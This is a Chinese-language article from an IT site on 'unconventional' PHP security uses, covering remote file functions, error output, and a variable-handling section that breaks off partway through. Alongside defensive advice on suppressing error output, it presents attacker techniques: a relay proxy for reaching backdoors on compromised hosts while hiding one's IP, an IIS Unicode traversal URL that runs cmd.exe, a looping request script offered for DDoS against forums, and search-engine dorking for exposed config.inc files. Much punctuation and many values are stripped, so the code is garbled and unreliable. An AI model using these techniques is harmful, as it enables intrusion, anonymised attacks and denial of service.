网络安全

位置:IT落伍者 >> 网络安全 >> 浏览文章

PHP在安全方面的另类应用


发布日期:2020年12月17日
 
PHP在安全方面的另类应用

.远程文件

PHP是一门具有丰富特性的语言它提供了大量函数使程序员能够方便地实现各种功能远程文件就是一个很好的例子

代码

<?php

$fp=@Fopen($urlr) or die (cannot open $url);

while($line=@fgets($fp)) {

$contents=$line;

}

echo $contents; //显示文件内容

fclose($fp); //关闭文件

?>

以上是一段利用Fopen函数打开文件的代码由于Fopen函数支持远程文件使得它应用起来相当有趣将以上代码保存为Proxyphp然后后提交

代码

/proxyphp?url=

这时候你会发现论坛下方显示的IP地址变成了PHP脚本所处服务器的IP地址Fopen函数可以从任何其Web或FTP站点读取文件事实上PHP的大多数文件处理函数对远程文件都是透明的比如请求

代码

/proxyphp?url=%c%c/winnt/system/cmdexe?/c+dir

这样实际上是利用了Target主机上的Unicode漏洞执行了DIR命令但并不是所有的服务器都支持远程文件的功能如果你使用的是商业的服务器很可能会发现远程文件使用不了(如的虚拟主机)这是因为在商业主机上限制远程文件的功能往往能够更好的保护服务器的正常运行你可以通过PHPinfo()查看服务器是否支持这种功能当然在PHPinfo()被禁用的情况下也可以使用Get_cfg_var()

代码

<?php

echo 是否允许使用远程文件(allow_url_Fopen);

?php

if (get_cfg_var(allow_url_Fopen)==)

{

echo(<font color=green><b>是</b></font>);

}

else echo(<font color=red><b>否</b></font>);

?>

当Allow_url_Fopen一项参数为ON时即支持远程文件的功能充分发挥远程文件的特性我们可以实现许多特殊的功能如果你是用过PHP Flame的最新版本你会发现它在集文件夹复制文本搜索等功能的基础上又增加了Web间文件传输的功能依靠这种功能你可以随意将其他服务器上的文件传送到你的Web目录下而且在两台服务器间传送文件有着飞快的传输速度我们看看实现这个功能的代码

代码

<?php

$fp = Fopen($_GET[filename] rb); //打开文件

$data = $tmp = ;

while ( true ) {

$tmp = fgets($fp );

if ( === strlen($tmp) ) {

break; //跳出while循环

}

$data = $tmp;

}

fclose($fp); //关闭文件

$file=preg_replace(/^+\//$filename);//转换文件名

//write

$fp = Fopen($file wb); //生成文件

fwrite($fp $data); //写入数据

fclose($fp);

?>

在调用Fopen和Fwrite函数时加入b标记可以使这两个函数安全运用于二进制文件而不损坏数据在以上脚本提交

/downphp?filename=

这时便会在Downphp的所处目录下生成相应的Winrarzip文件如果再配合遍历目录的功能你将可以实现多个文件夹服务器间的传输但是远程文件应该还有更大的发挥空间比如写SQL Injection攻击的自动脚本甚至是HTTP的代理服务

代码

<?

$url = getenv(QUERY_STRING);

if(!ereg(^http$url)) //检查输入的URL格式

{

echo 例子<br>;br>;

echo ?id=<br>;

echo 当URL为目录时需要在目录后加入/;

exit;

}

if($url)

$url=str_replace(\\/$url);

$f=@Fopen($urlr);//打开文件

$a=;

if($f)

{

while(!feof($f))

$a=@fread($f);//读取文件

fclose($f);

}

$rooturl = preg_replace(/(+\/)(*)/i\\$url);//转换根目录

$a = preg_replace(/(src[[:space:]]*=[\])([^h]*?)/is\\$rooturl\\$a);

$a = preg_replace(/(src[[:space:]]*=)([^h\]*?)/is\\$rooturl\\$a);//转换图片地址

$a = preg_replace(/(action[[:space:]]*=[\])([^h]*?)/is\\$php_self?$rooturl\\$a);

$a = preg_replace(/(action[[:space:]]*=)([^h\]*?)/is\\$php_self?$rooturl\\$a);//转换POST地址

$a = preg_replace(/(<a+?href[[:space:]]*=[\])([^h]*?)/is\\$php_self?$rooturl\\$a);

$a = preg_replace(/(<a+?href[[:space:]]*=[^\])([^h]*?)/is\\$php_self?$rooturl\\$a);//转换链接地址

$a = preg_replace(/(link+?href[[:space:]]*=[^\])(*?)/is\\$rooturl\\$a);

$a = preg_replace(/(link+?href[[:space:]]*=[\])(*?)/is\\$rooturl\\$a); //转换样式表地址

echo $a;

exit;

?>

在正则表达式的帮助下以上代码能够自行地将返回页面中包含的链接和图片进行转换并把页面内的链接自动提交到当前PHP脚本的$url中例如提交

/proxyphp?

脚本将会返回的内容

当然这运用的绝对不仅仅是框架的技巧运用这个脚本你可以远程操作安置在其他服务器的Web后门或者将肉鸡做成一个简单的HTTP代理从而更好的隐藏自己的IP如果使用PHP编写CGI扫描工具你需要延长PHP的有效运行时间以下是两种有效的方法当然你也可以将PHP代码编译成GUI界面从而解决这个问题设置PHP的有效运行时间为三分钟

代码

<? ini_set(max_execution_time*); ?>

<? set_time_limit(*); ?>

我们再看看这种功能在DDOS攻击中的应用

代码

<?php

set_time_limit(*);

$url=?userid=;

for($i=;$i<=;$i++)

{

$urls=$url$i; //将$url与$i链接在一起

$f=@Fopen($urlsr); //请求$urls

$a=@fread($f);//取出部分内容

fclose($f); //关闭$urls

}

?>

以上用For循环不断地请求Userlistphp?userid=$i的内容($i的值每次都是不同的)但是打开后仅仅取出几个字节便关闭这个脚本了PHP运行在虚拟主机上秒钟便可以打开几十个URL当同时运行多个进程时便有可能实现DDOS攻击让对方的论坛迅速崩溃

限于版面远程文件的内容就先说到这里了如果你还有不明白的地方请参考以下的这篇文章《在PHP中使用远程文件》

.错误回显

PHP在默认的情况下打开错误回显这样可以便于程序员在调试脚本时发现代码的错误但是这也往往使Web暴露了PHP的代码和服务器的一些数据PHP对代码的规范性要求比较严格以下是一种比较常见的错误回显

warning:file(data/\)no such file or

directory in /usr/home//showphp on line

这种错误回显至少告诉了我们三个信息服务器的操作系统是LINUX服务器使用文本数据库Showphp的第行代码为file (/data//$)

这种错误回显已经足以成为一台服务器致命的漏洞从另一个利用的角度来看我们发现一般的PHP错误回都包含了warning字符但是这有什么用呢?我们得先认识一下PHP的库文件

PHP的Include()和Require()主要是为了支持代码库因为我们一般是把一些经常使用的函数放到一个独立的文件中这个独立的文件就是代码库当需要使用其中的函数时我们只要把这个代码库包含到当前的文件中就可以了

最初人们开发和发布PHP程序的时候为了区别代码库和主程序代码一般是为代码库文件设置一个inc的扩展名但是他们很快发现这是一个错误因为这样的文件无法被PHP解释器正确解析为PHP代码如果我们直接请求服务器上的这种文件时我们就会得到该文件的源代码这是因为当把PHP作为Apache的模块使用时PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的扩展名是站点管理员指定的一般是php phpphp如果重要的配置数据被包含在没有合适的扩展名的PHP文件中那么远程攻击者将容易得到这些信息

按照以往的程序员的习惯往往会把一些重要的文件设定configinccooninc等形式如果我们在搜索引撃中搜索warning+configinc那么你会发现许多网站都暴露了inc文件的代码甚至包括许多商业和政府网站

要关闭PHP的错误回显通常有两个方法第一个是直接修改Phpini中的设置这我们以前已经介绍过了第二种方法是在PHP脚本中加入抑制错误回显的代码你可以在调用的函数前函数加入@字符或者在PHP的代码顶端加入error_reporting()的代码要了解更多的内容请参考PHP手册中的error_reporting一节

.变量回显

WEN的安全问题主要集中变量的处理上对变量的处理不当会导致多种安全问题先看一下的例子

代码

<td width=>

<select name=face>

<option value=gif>gif</option>

<option value=gif>gif               

上一篇:用Suhosin加强PHP脚本语言安全性

下一篇:用SSH与PHP相连接 确保数据传输的安全性